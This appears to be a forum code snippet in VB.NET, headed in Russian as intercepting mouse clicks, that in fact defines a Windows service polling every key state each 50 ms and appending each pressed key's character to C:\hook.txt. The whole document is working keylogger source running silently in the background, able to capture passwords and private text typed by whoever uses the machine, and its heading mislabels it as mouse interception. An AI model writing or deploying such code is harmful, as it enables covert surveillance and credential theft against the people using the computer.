Код:
перехват нажатий мыши
Imports System.IO
Public Class Service1
Public Declare Function GetKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer
Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Public s As String
Public i As Integer
Public KeyFGKS(255) As Integer
Public WithEvents tm As New Timers.Timer
Protected Overrides Sub OnStart(ByVal args() As String)
tm.Enabled = True
tm.Interval = 50
tm.Start()
End Sub
Protected Overrides Sub OnStop()
tm.Stop()
tm.Enabled = False
End Sub
Private Sub tm_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles tm.Elapsed
For i = 1 To 255
If Not GetKeyState(i) = KeyFGKS(i) And GetAsyncKeyState(i) <> 0 Then
KeyFGKS(i) = GetKeyState(i)
s = Chr(i).ToString
File.AppendAllText("C:\hook.txt", s & vbCrLf)
Exit For
End If
Next
End Sub
End Class